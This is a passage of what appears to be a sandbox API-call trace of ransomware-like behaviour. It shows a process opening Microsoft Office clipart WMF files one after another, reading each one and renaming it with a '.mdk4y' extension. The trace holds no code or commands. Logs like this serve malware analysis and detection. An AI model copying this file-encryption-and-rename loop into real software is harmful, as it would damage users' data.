dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820688800000) returned 1 [0131.658] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6b0, lpOverlapped=0x0) returned 1 [0131.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820691800000) returned 1 [0131.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820691800000) returned 1 [0131.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.mdk4y")) returned 1 [0131.689] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.689] AreFileApisANSI () returned 1 [0131.689] GetACP () returned 0x4e4 [0131.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00174_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00174_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820692000000) returned 1 [0131.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20ae, lpOverlapped=0x0) returned 1 [0131.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820692100000) returned 1 [0131.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820692100000) returned 1 [0131.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.mdk4y")) returned 1 [0131.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.692] AreFileApisANSI () returned 1 [0131.692] GetACP () returned 0x4e4 [0131.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00184_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00184_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820692200000) returned 1 [0131.692] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1370, lpOverlapped=0x0) returned 1 [0131.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820693600000) returned 1 [0131.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820693600000) returned 1 [0131.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.mdk4y")) returned 1 [0131.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.707] AreFileApisANSI () returned 1 [0131.707] GetACP () returned 0x4e4 [0131.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00186_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00186_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.707] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820693800000) returned 1 [0131.708] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31f4, lpOverlapped=0x0) returned 1 [0131.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820695100000) returned 1 [0131.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820695100000) returned 1 [0131.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.mdk4y")) returned 1 [0131.722] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.722] AreFileApisANSI () returned 1 [0131.722] GetACP () returned 0x4e4 [0131.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00200_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00200_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.722] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820695300000) returned 1 [0131.723] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc20, lpOverlapped=0x0) returned 1 [0131.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697100000) returned 1 [0131.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697100000) returned 1 [0131.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.mdk4y")) returned 1 [0131.742] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.742] AreFileApisANSI () returned 1 [0131.742] GetACP () returned 0x4e4 [0131.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00224_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00224_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697300000) returned 1 [0131.743] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x634, lpOverlapped=0x0) returned 1 [0131.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697400000) returned 1 [0131.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697400000) returned 1 [0131.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.mdk4y")) returned 1 [0131.745] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.745] AreFileApisANSI () returned 1 [0131.745] GetACP () returned 0x4e4 [0131.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00438_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00438_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820697500000) returned 1 [0131.745] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4bc, lpOverlapped=0x0) returned 1 [0131.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820698600000) returned 1 [0131.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820698600000) returned 1 [0131.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.mdk4y")) returned 1 [0131.757] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.757] AreFileApisANSI () returned 1 [0131.757] GetACP () returned 0x4e4 [0131.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00439_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00439_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.757] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820698800000) returned 1 [0131.758] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x804, lpOverlapped=0x0) returned 1 [0131.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700500000) returned 1 [0131.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700500000) returned 1 [0131.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.mdk4y")) returned 1 [0131.776] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.776] AreFileApisANSI () returned 1 [0131.776] GetACP () returned 0x4e4 [0131.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00440_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00440_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700700000) returned 1 [0131.777] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15cc, lpOverlapped=0x0) returned 1 [0131.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700800000) returned 1 [0131.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700800000) returned 1 [0131.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.mdk4y")) returned 1 [0131.779] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.779] AreFileApisANSI () returned 1 [0131.779] GetACP () returned 0x4e4 [0131.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00441_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00441_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.779] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820700900000) returned 1 [0131.779] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdc4, lpOverlapped=0x0) returned 1 [0131.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820703700000) returned 1 [0131.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820703800000) returned 1 [0131.808] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.mdk4y")) returned 1 [0131.809] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.809] AreFileApisANSI () returned 1 [0131.809] GetACP () returned 0x4e4 [0131.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00442_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00442_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.809] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820703900000) returned 1 [0131.809] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b8, lpOverlapped=0x0) returned 1 [0131.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710100000) returned 1 [0131.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710100000) returned 1 [0131.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.mdk4y")) returned 1 [0131.872] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.872] AreFileApisANSI () returned 1 [0131.872] GetACP () returned 0x4e4 [0131.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00443_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00443_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710300000) returned 1 [0131.873] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x68c, lpOverlapped=0x0) returned 1 [0131.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710400000) returned 1 [0131.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710400000) returned 1 [0131.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.mdk4y")) returned 1 [0131.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.875] AreFileApisANSI () returned 1 [0131.875] GetACP () returned 0x4e4 [0131.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00444_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00444_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820710500000) returned 1 [0131.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf38, lpOverlapped=0x0) returned 1 [0131.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820720200000) returned 1 [0131.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820720200000) returned 1 [0131.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.mdk4y")) returned 1 [0131.973] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0131.973] AreFileApisANSI () returned 1 [0131.973] GetACP () returned 0x4e4 [0131.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00445_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00445_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0131.973] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0131.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820720300000) returned 1 [0131.973] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xed4, lpOverlapped=0x0) returned 1 [0132.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820724700000) returned 1 [0132.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820724700000) returned 1 [0132.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.mdk4y")) returned 1 [0132.018] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.018] AreFileApisANSI () returned 1 [0132.018] GetACP () returned 0x4e4 [0132.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS00453_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS00453_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.018] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820724900000) returned 1 [0132.019] ReadFile (in: 